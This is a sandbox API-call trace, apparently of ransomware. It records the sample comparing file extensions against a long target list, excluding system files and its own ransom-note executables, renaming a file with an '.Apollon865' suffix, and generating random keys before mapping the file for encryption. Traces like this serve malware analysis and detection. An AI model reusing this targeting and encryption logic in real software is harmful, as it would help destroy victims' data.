	[0058.951] lstrcmpiW (lpString1="bles.htm", lpString2="daschema") returned -1
	[0058.951] lstrlenW (lpString="db-journal") returned 10
	[0058.951] lstrcmpiW (lpString1="ubbles.htm", lpString2="db-journal") returned 1
	[0058.951] lstrlenW (lpString="db-shm") returned 6
	[0058.951] lstrcmpiW (lpString1="es.htm", lpString2="db-shm") returned 1
	[0058.951] lstrlenW (lpString="db-wal") returned 6
	[0058.951] lstrcmpiW (lpString1="es.htm", lpString2="db-wal") returned 1
	[0058.951] lstrlenW (lpString="dbc") returned 3
	[0058.951] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1
	[0058.951] lstrlenW (lpString="dbs") returned 3
	[0058.951] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1
	[0058.951] lstrlenW (lpString="dbt") returned 3
	[0058.951] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1
	[0058.951] lstrlenW (lpString="dbv") returned 3
	[0058.951] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1
	[0058.952] lstrlenW (lpString="dbx") returned 3
	[0058.952] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1
	[0058.952] lstrlenW (lpString="dcb") returned 3
	[0058.952] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1
	[0058.952] lstrlenW (lpString="dct") returned 3
	[0058.952] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1
	[0058.952] lstrlenW (lpString="dcx") returned 3
	[0058.952] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1
	[0058.952] lstrlenW (lpString="ddl") returned 3
	[0058.952] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1
	[0058.952] lstrlenW (lpString="dlis") returned 4
	[0058.952] lstrcmpiW (lpString1=".htm", lpString2="dlis") returned -1
	[0058.952] lstrlenW (lpString="dp1") returned 3
	[0058.952] lstrcmpiW (lpString1="htm", lpString2="dp1") returned 1
	[0058.952] lstrlenW (lpString="dqy") returned 3
	[0058.952] lstrcmpiW (lpString1="htm", lpString2="dqy") returned 1
	[0058.952] lstrlenW (lpString="dsk") returned 3
	[0058.952] lstrcmpiW (lpString1="htm", lpString2="dsk") returned 1
	[0058.952] lstrlenW (lpString="dsn") returned 3
	[0058.952] lstrcmpiW (lpString1="htm", lpString2="dsn") returned 1
	[0058.952] lstrlenW (lpString="dtsx") returned 4
	[0058.952] lstrcmpiW (lpString1=".htm", lpString2="dtsx") returned -1
	[0058.952] lstrlenW (lpString="dxl") returned 3
	[0058.952] lstrcmpiW (lpString1="htm", lpString2="dxl") returned 1
	[0058.952] lstrlenW (lpString="eco") returned 3
	[0058.952] lstrcmpiW (lpString1="htm", lpString2="eco") returned 1
	[0058.952] lstrlenW (lpString="ecx") returned 3
	[0058.952] lstrcmpiW (lpString1="htm", lpString2="ecx") returned 1
	[0058.952] lstrlenW (lpString="edb") returned 3
	[0058.952] lstrcmpiW (lpString1="htm", lpString2="edb") returned 1
	[0058.952] lstrlenW (lpString="epim") returned 4
	[0058.952] lstrcmpiW (lpString1=".htm", lpString2="epim") returned -1
	[0058.952] lstrlenW (lpString="fcd") returned 3
	[0058.952] lstrcmpiW (lpString1="htm", lpString2="fcd") returned 1
	[0058.952] lstrlenW (lpString="fdb") returned 3
	[0058.952] lstrcmpiW (lpString1="htm", lpString2="fdb") returned 1
	[0058.953] lstrlenW (lpString="fic") returned 3
	[0058.953] lstrcmpiW (lpString1="htm", lpString2="fic") returned 1
	[0058.953] lstrlenW (lpString="flexolibrary") returned 12
	[0058.953] lstrcmpiW (lpString1=" Bubbles.htm", lpString2="flexolibrary") returned -1
	[0058.953] lstrlenW (lpString="fm5") returned 3
	[0058.953] lstrcmpiW (lpString1="htm", lpString2="fm5") returned 1
	[0058.953] lstrlenW (lpString="fmp") returned 3
	[0058.953] lstrcmpiW (lpString1="htm", lpString2="fmp") returned 1
	[0058.953] lstrlenW (lpString="fmp12") returned 5
	[0058.953] lstrcmpiW (lpString1="s.htm", lpString2="fmp12") returned 1
	[0058.953] lstrlenW (lpString="fmpsl") returned 5
	[0058.953] lstrcmpiW (lpString1="s.htm", lpString2="fmpsl") returned 1
	[0058.953] lstrlenW (lpString="fol") returned 3
	[0058.953] lstrcmpiW (lpString1="htm", lpString2="fol") returned 1
	[0058.953] lstrlenW (lpString="fp3") returned 3
	[0058.953] lstrcmpiW (lpString1="htm", lpString2="fp3") returned 1
	[0058.953] lstrlenW (lpString="fp4") returned 3
	[0058.953] lstrcmpiW (lpString1="htm", lpString2="fp4") returned 1
	[0058.953] lstrlenW (lpString="fp5") returned 3
	[0058.953] lstrcmpiW (lpString1="htm", lpString2="fp5") returned 1
	[0058.953] lstrlenW (lpString="fp7") returned 3
	[0058.953] lstrcmpiW (lpString1="htm", lpString2="fp7") returned 1
	[0058.953] lstrlenW (lpString="fpt") returned 3
	[0058.953] lstrcmpiW (lpString1="htm", lpString2="fpt") returned 1
	[0058.954] lstrlenW (lpString="frm") returned 3
	[0058.954] lstrcmpiW (lpString1="htm", lpString2="frm") returned 1
	[0058.954] lstrlenW (lpString="gdb") returned 3
	[0058.954] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0058.954] lstrlenW (lpString="gdb") returned 3
	[0058.954] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0058.954] lstrlenW (lpString="grdb") returned 4
	[0058.954] lstrcmpiW (lpString1=".htm", lpString2="grdb") returned -1
	[0058.954] lstrlenW (lpString="gwi") returned 3
	[0058.954] lstrcmpiW (lpString1="htm", lpString2="gwi") returned 1
	[0058.954] lstrlenW (lpString="hdb") returned 3
	[0058.954] lstrcmpiW (lpString1="htm", lpString2="hdb") returned 1
	[0058.954] lstrlenW (lpString="his") returned 3
	[0058.954] lstrcmpiW (lpString1="htm", lpString2="his") returned 1
	[0058.954] lstrlenW (lpString="ib") returned 2
	[0058.954] lstrcmpiW (lpString1="tm", lpString2="ib") returned 1
	[0058.954] lstrlenW (lpString="idb") returned 3
	[0058.954] lstrcmpiW (lpString1="htm", lpString2="idb") returned -1
	[0058.954] lstrlenW (lpString="ihx") returned 3
	[0058.954] lstrcmpiW (lpString1="htm", lpString2="ihx") returned -1
	[0058.954] lstrlenW (lpString="itdb") returned 4
	[0058.954] lstrcmpiW (lpString1=".htm", lpString2="itdb") returned -1
	[0058.954] lstrlenW (lpString="itw") returned 3
	[0058.954] lstrcmpiW (lpString1="htm", lpString2="itw") returned -1
	[0058.954] lstrlenW (lpString="jet") returned 3
	[0058.954] lstrcmpiW (lpString1="htm", lpString2="jet") returned -1
	[0058.954] lstrlenW (lpString="jtx") returned 3
	[0058.954] lstrcmpiW (lpString1="htm", lpString2="jtx") returned -1
	[0058.954] lstrlenW (lpString="kdb") returned 3
	[0058.954] lstrcmpiW (lpString1="htm", lpString2="kdb") returned -1
	[0058.954] lstrlenW (lpString="kexi") returned 4
	[0058.954] lstrcmpiW (lpString1=".htm", lpString2="kexi") returned -1
	[0058.954] lstrlenW (lpString="kexic") returned 5
	[0058.954] lstrcmpiW (lpString1="s.htm", lpString2="kexic") returned 1
	[0058.954] lstrlenW (lpString="kexis") returned 5
	[0058.955] lstrcmpiW (lpString1="s.htm", lpString2="kexis") returned 1
	[0058.955] lstrlenW (lpString="lgc") returned 3
	[0058.955] lstrcmpiW (lpString1="htm", lpString2="lgc") returned -1
	[0058.955] lstrlenW (lpString="lwx") returned 3
	[0058.955] lstrcmpiW (lpString1="htm", lpString2="lwx") returned -1
	[0058.955] lstrlenW (lpString="maf") returned 3
	[0058.955] lstrcmpiW (lpString1="htm", lpString2="maf") returned -1
	[0058.955] lstrlenW (lpString="maq") returned 3
	[0058.955] lstrcmpiW (lpString1="htm", lpString2="maq") returned -1
	[0058.955] lstrlenW (lpString="mar") returned 3
	[0058.955] lstrcmpiW (lpString1="htm", lpString2="mar") returned -1
	[0058.955] lstrlenW (lpString="marshal") returned 7
	[0058.955] lstrcmpiW (lpString1="les.htm", lpString2="marshal") returned -1
	[0058.955] lstrlenW (lpString="mas") returned 3
	[0058.955] lstrcmpiW (lpString1="htm", lpString2="mas") returned -1
	[0058.955] lstrlenW (lpString="mav") returned 3
	[0058.955] lstrcmpiW (lpString1="htm", lpString2="mav") returned -1
	[0058.955] lstrlenW (lpString="maw") returned 3
	[0058.955] lstrcmpiW (lpString1="htm", lpString2="maw") returned -1
	[0058.955] lstrlenW (lpString="mdbhtml") returned 7
	[0058.955] lstrcmpiW (lpString1="les.htm", lpString2="mdbhtml") returned -1
	[0058.955] lstrlenW (lpString="mdn") returned 3
	[0058.955] lstrcmpiW (lpString1="htm", lpString2="mdn") returned -1
	[0058.955] lstrlenW (lpString="mdt") returned 3
	[0058.955] lstrcmpiW (lpString1="htm", lpString2="mdt") returned -1
	[0058.955] lstrlenW (lpString="mfd") returned 3
	[0058.955] lstrcmpiW (lpString1="htm", lpString2="mfd") returned -1
	[0058.955] lstrlenW (lpString="mpd") returned 3
	[0058.955] lstrcmpiW (lpString1="htm", lpString2="mpd") returned -1
	[0058.955] lstrlenW (lpString="mrg") returned 3
	[0058.955] lstrcmpiW (lpString1="htm", lpString2="mrg") returned -1
	[0058.955] lstrlenW (lpString="mud") returned 3
	[0058.955] lstrcmpiW (lpString1="htm", lpString2="mud") returned -1
	[0058.955] lstrlenW (lpString="mwb") returned 3
	[0058.955] lstrcmpiW (lpString1="htm", lpString2="mwb") returned -1
	[0058.955] lstrlenW (lpString="myd") returned 3
	[0058.956] lstrcmpiW (lpString1="htm", lpString2="myd") returned -1
	[0058.956] lstrlenW (lpString="ndf") returned 3
	[0058.956] lstrcmpiW (lpString1="htm", lpString2="ndf") returned -1
	[0058.956] lstrlenW (lpString="nnt") returned 3
	[0058.956] lstrcmpiW (lpString1="htm", lpString2="nnt") returned -1
	[0058.956] lstrlenW (lpString="nrmlib") returned 6
	[0058.956] lstrcmpiW (lpString1="es.htm", lpString2="nrmlib") returned -1
	[0058.956] lstrlenW (lpString="ns2") returned 3
	[0058.956] lstrcmpiW (lpString1="htm", lpString2="ns2") returned -1
	[0058.956] lstrlenW (lpString="ns3") returned 3
	[0058.956] lstrcmpiW (lpString1="htm", lpString2="ns3") returned -1
	[0058.956] lstrlenW (lpString="ns4") returned 3
	[0058.956] lstrcmpiW (lpString1="htm", lpString2="ns4") returned -1
	[0058.956] lstrlenW (lpString="nsf") returned 3
	[0058.956] lstrcmpiW (lpString1="htm", lpString2="nsf") returned -1
	[0058.956] lstrlenW (lpString="nv") returned 2
	[0058.956] lstrcmpiW (lpString1="tm", lpString2="nv") returned 1
	[0058.956] lstrlenW (lpString="nv2") returned 3
	[0058.956] lstrcmpiW (lpString1="htm", lpString2="nv2") returned -1
	[0058.956] lstrlenW (lpString="nwdb") returned 4
	[0058.956] lstrcmpiW (lpString1=".htm", lpString2="nwdb") returned -1
	[0058.956] lstrlenW (lpString="nyf") returned 3
	[0058.956] lstrcmpiW (lpString1="htm", lpString2="nyf") returned -1
	[0058.956] lstrlenW (lpString="odb") returned 3
	[0058.956] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0058.956] lstrlenW (lpString="odb") returned 3
	[0058.956] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0058.956] lstrlenW (lpString="oqy") returned 3
	[0058.956] lstrcmpiW (lpString1="htm", lpString2="oqy") returned -1
	[0058.956] lstrlenW (lpString="ora") returned 3
	[0058.956] lstrcmpiW (lpString1="htm", lpString2="ora") returned -1
	[0058.956] lstrlenW (lpString="orx") returned 3
	[0058.956] lstrcmpiW (lpString1="htm", lpString2="orx") returned -1
	[0058.956] lstrlenW (lpString="owc") returned 3
	[0058.956] lstrcmpiW (lpString1="htm", lpString2="owc") returned -1
	[0058.957] lstrlenW (lpString="p96") returned 3
	[0058.957] lstrcmpiW (lpString1="htm", lpString2="p96") returned -1
	[0058.957] lstrlenW (lpString="p97") returned 3
	[0058.957] lstrcmpiW (lpString1="htm", lpString2="p97") returned -1
	[0058.957] lstrlenW (lpString="pan") returned 3
	[0058.957] lstrcmpiW (lpString1="htm", lpString2="pan") returned -1
	[0058.957] lstrlenW (lpString="pdb") returned 3
	[0058.957] lstrcmpiW (lpString1="htm", lpString2="pdb") returned -1
	[0058.957] lstrlenW (lpString="pdm") returned 3
	[0058.957] lstrcmpiW (lpString1="htm", lpString2="pdm") returned -1
	[0058.957] lstrlenW (lpString="pnz") returned 3
	[0058.957] lstrcmpiW (lpString1="htm", lpString2="pnz") returned -1
	[0058.957] lstrlenW (lpString="qry") returned 3
	[0058.957] lstrcmpiW (lpString1="htm", lpString2="qry") returned -1
	[0058.957] lstrlenW (lpString="qvd") returned 3
	[0058.957] lstrcmpiW (lpString1="htm", lpString2="qvd") returned -1
	[0058.957] lstrlenW (lpString="rbf") returned 3
	[0058.957] lstrcmpiW (lpString1="htm", lpString2="rbf") returned -1
	[0058.957] lstrlenW (lpString="rctd") returned 4
	[0058.957] lstrcmpiW (lpString1=".htm", lpString2="rctd") returned -1
	[0058.957] lstrlenW (lpString="rod") returned 3
	[0058.957] lstrcmpiW (lpString1="htm", lpString2="rod") returned -1
	[0058.957] lstrlenW (lpString="rodx") returned 4
	[0058.957] lstrcmpiW (lpString1=".htm", lpString2="rodx") returned -1
	[0058.957] lstrlenW (lpString="rpd") returned 3
	[0058.957] lstrcmpiW (lpString1="htm", lpString2="rpd") returned -1
	[0058.957] lstrlenW (lpString="rsd") returned 3
	[0058.957] lstrcmpiW (lpString1="htm", lpString2="rsd") returned -1
	[0058.957] lstrlenW (lpString="sas7bdat") returned 8
	[0058.957] lstrcmpiW (lpString1="bles.htm", lpString2="sas7bdat") returned -1
	[0058.957] lstrlenW (lpString="sbf") returned 3
	[0058.957] lstrcmpiW (lpString1="htm", lpString2="sbf") returned -1
	[0058.957] lstrlenW (lpString="scx") returned 3
	[0058.957] lstrcmpiW (lpString1="htm", lpString2="scx") returned -1
	[0058.957] lstrlenW (lpString="sdb") returned 3
	[0058.958] lstrcmpiW (lpString1="htm", lpString2="sdb") returned -1
	[0058.958] lstrlenW (lpString="sdc") returned 3
	[0058.958] lstrcmpiW (lpString1="htm", lpString2="sdc") returned -1
	[0058.958] lstrlenW (lpString="sdf") returned 3
	[0058.958] lstrcmpiW (lpString1="htm", lpString2="sdf") returned -1
	[0058.958] lstrlenW (lpString="sis") returned 3
	[0058.958] lstrcmpiW (lpString1="htm", lpString2="sis") returned -1
	[0058.958] lstrlenW (lpString="spq") returned 3
	[0058.958] lstrcmpiW (lpString1="htm", lpString2="spq") returned -1
	[0058.958] lstrlenW (lpString="te") returned 2
	[0058.958] lstrcmpiW (lpString1="tm", lpString2="te") returned 1
	[0058.958] lstrlenW (lpString="teacher") returned 7
	[0058.958] lstrcmpiW (lpString1="les.htm", lpString2="teacher") returned -1
	[0058.958] lstrlenW (lpString="tmd") returned 3
	[0058.958] lstrcmpiW (lpString1="htm", lpString2="tmd") returned -1
	[0058.958] lstrlenW (lpString="tps") returned 3
	[0058.958] lstrcmpiW (lpString1="htm", lpString2="tps") returned -1
	[0058.958] lstrlenW (lpString="trc") returned 3
	[0058.958] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0058.958] lstrlenW (lpString="trc") returned 3
	[0058.958] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0058.958] lstrlenW (lpString="trm") returned 3
	[0058.958] lstrcmpiW (lpString1="htm", lpString2="trm") returned -1
	[0058.958] lstrlenW (lpString="udb") returned 3
	[0058.958] lstrcmpiW (lpString1="htm", lpString2="udb") returned -1
	[0058.958] lstrlenW (lpString="udl") returned 3
	[0058.958] lstrcmpiW (lpString1="htm", lpString2="udl") returned -1
	[0058.958] lstrlenW (lpString="usr") returned 3
	[0058.958] lstrcmpiW (lpString1="htm", lpString2="usr") returned -1
	[0058.958] lstrlenW (lpString="v12") returned 3
	[0058.958] lstrcmpiW (lpString1="htm", lpString2="v12") returned -1
	[0058.958] lstrlenW (lpString="vis") returned 3
	[0058.958] lstrcmpiW (lpString1="htm", lpString2="vis") returned -1
	[0058.958] lstrlenW (lpString="vpd") returned 3
	[0058.959] lstrcmpiW (lpString1="htm", lpString2="vpd") returned -1
	[0058.959] lstrlenW (lpString="vvv") returned 3
	[0058.959] lstrcmpiW (lpString1="htm", lpString2="vvv") returned -1
	[0058.959] lstrlenW (lpString="wdb") returned 3
	[0058.959] lstrcmpiW (lpString1="htm", lpString2="wdb") returned -1
	[0058.959] lstrlenW (lpString="wmdb") returned 4
	[0058.959] lstrcmpiW (lpString1=".htm", lpString2="wmdb") returned -1
	[0058.959] lstrlenW (lpString="wrk") returned 3
	[0058.959] lstrcmpiW (lpString1="htm", lpString2="wrk") returned -1
	[0058.959] lstrlenW (lpString="xdb") returned 3
	[0058.959] lstrcmpiW (lpString1="htm", lpString2="xdb") returned -1
	[0058.959] lstrlenW (lpString="xld") returned 3
	[0058.959] lstrcmpiW (lpString1="htm", lpString2="xld") returned -1
	[0058.959] lstrlenW (lpString="xmlff") returned 5
	[0058.959] lstrcmpiW (lpString1="s.htm", lpString2="xmlff") returned -1
	[0058.959] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.Apollon865") returned 93
	[0058.959] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm.apollon865"), dwFlags=0x1) returned 1
	[0058.960] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0058.960] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=237) returned 1
	[0058.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0058.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0058.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0058.960] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0058.961] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0058.961] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0058.961] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x154
	[0058.963] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x120000
	[0058.964] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0058.965] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0058.965] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0058.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0058.965] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0058.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0058.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0058.965] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0058.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0058.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0058.965] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0058.965] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0058.965] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0058.965] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0058.965] CloseHandle (hObject=0x154) returned 1
	[0058.965] CloseHandle (hObject=0x150) returned 1
	[0058.966] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0058.966] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0058.966] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0058.966] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="GREENB~1.JPG")) returned 1
	[0058.966] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.966] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0058.966] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".") returned 1
	[0058.966] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="..") returned 1
	[0058.966] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="windows") returned -1
	[0058.966] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="bootmgr") returned 1
	[0058.966] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="temp") returned -1
	[0058.966] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="pagefile.sys") returned -1
	[0058.966] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="boot") returned 1
	[0058.966] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="ids.txt") returned -1
	[0058.966] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="ntuser.dat") returned -1
	[0058.966] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="perflogs") returned -1
	[0058.966] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="MSBuild") returned -1
	[0058.966] lstrlenW (lpString="GreenBubbles.jpg") returned 16
	[0058.966] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm") returned 82
	[0058.966] lstrcpyW (in: lpString1=0x119e68a, lpString2="GreenBubbles.jpg" | out: lpString1="GreenBubbles.jpg") returned="GreenBubbles.jpg"
	[0058.966] lstrlenW (lpString="GreenBubbles.jpg") returned 16
	[0058.966] lstrlenW (lpString="Apollon865") returned 10
	[0058.966] lstrcmpiW (lpString1="ubbles.jpg", lpString2="Apollon865") returned 1
	[0058.966] lstrlenW (lpString=".dll") returned 4
	[0058.966] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".dll") returned 1
	[0058.966] lstrlenW (lpString=".lnk") returned 4
	[0058.966] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".lnk") returned 1
	[0058.967] lstrlenW (lpString=".ini") returned 4
	[0058.967] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".ini") returned 1
	[0058.967] lstrlenW (lpString=".sys") returned 4
	[0058.967] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".sys") returned 1
	[0058.967] lstrlenW (lpString="GreenBubbles.jpg") returned 16
	[0058.967] lstrlenW (lpString="bak") returned 3
	[0058.967] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0058.967] lstrlenW (lpString="ba_") returned 3
	[0058.967] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0058.967] lstrlenW (lpString="dbb") returned 3
	[0058.967] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0058.967] lstrlenW (lpString="vmdk") returned 4
	[0058.967] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0058.967] lstrlenW (lpString="rar") returned 3
	[0058.967] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0058.967] lstrlenW (lpString="zip") returned 3
	[0058.967] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0058.967] lstrlenW (lpString="tgz") returned 3
	[0058.967] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0058.967] lstrlenW (lpString="vbox") returned 4
	[0058.967] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0058.967] lstrlenW (lpString="vdi") returned 3
	[0058.967] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0058.967] lstrlenW (lpString="vhd") returned 3
	[0058.967] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0058.967] lstrlenW (lpString="vhdx") returned 4
	[0058.967] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0058.967] lstrlenW (lpString="avhd") returned 4
	[0058.967] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0058.967] lstrlenW (lpString="db") returned 2
	[0058.967] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0058.967] lstrlenW (lpString="db2") returned 3
	[0058.967] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0058.967] lstrlenW (lpString="db3") returned 3
	[0058.967] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0058.967] lstrlenW (lpString="dbf") returned 3
	[0058.968] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0058.968] lstrlenW (lpString="mdf") returned 3
	[0058.968] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0058.968] lstrlenW (lpString="mdb") returned 3
	[0058.968] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0058.968] lstrlenW (lpString="sql") returned 3
	[0058.968] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0058.968] lstrlenW (lpString="sqlite") returned 6
	[0058.968] lstrcmpiW (lpString1="es.jpg", lpString2="sqlite") returned -1
	[0058.968] lstrlenW (lpString="sqlite3") returned 7
	[0058.968] lstrcmpiW (lpString1="les.jpg", lpString2="sqlite3") returned -1
	[0058.968] lstrlenW (lpString="sqlitedb") returned 8
	[0058.968] lstrcmpiW (lpString1="bles.jpg", lpString2="sqlitedb") returned -1
	[0058.968] lstrlenW (lpString="xml") returned 3
	[0058.968] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0058.968] lstrlenW (lpString="$er") returned 3
	[0058.968] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0058.968] lstrlenW (lpString="4dd") returned 3
	[0058.968] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0058.968] lstrlenW (lpString="4dl") returned 3
	[0058.968] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0058.968] lstrlenW (lpString="^^^") returned 3
	[0058.968] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0058.968] lstrlenW (lpString="abs") returned 3
	[0058.968] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0058.968] lstrlenW (lpString="abx") returned 3
	[0058.968] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0058.968] lstrlenW (lpString="accdb") returned 5
	[0058.968] lstrcmpiW (lpString1="s.jpg", lpString2="accdb") returned 1
	[0058.968] lstrlenW (lpString="accdc") returned 5
	[0058.968] lstrcmpiW (lpString1="s.jpg", lpString2="accdc") returned 1
	[0058.968] lstrlenW (lpString="accde") returned 5
	[0058.968] lstrcmpiW (lpString1="s.jpg", lpString2="accde") returned 1
	[0058.968] lstrlenW (lpString="accdr") returned 5
	[0058.969] lstrcmpiW (lpString1="s.jpg", lpString2="accdr") returned 1
	[0058.969] lstrlenW (lpString="accdt") returned 5
	[0058.969] lstrcmpiW (lpString1="s.jpg", lpString2="accdt") returned 1
	[0058.969] lstrlenW (lpString="accdw") returned 5
	[0058.969] lstrcmpiW (lpString1="s.jpg", lpString2="accdw") returned 1
	[0058.969] lstrlenW (lpString="accft") returned 5
	[0058.969] lstrcmpiW (lpString1="s.jpg", lpString2="accft") returned 1
	[0058.969] lstrlenW (lpString="adb") returned 3
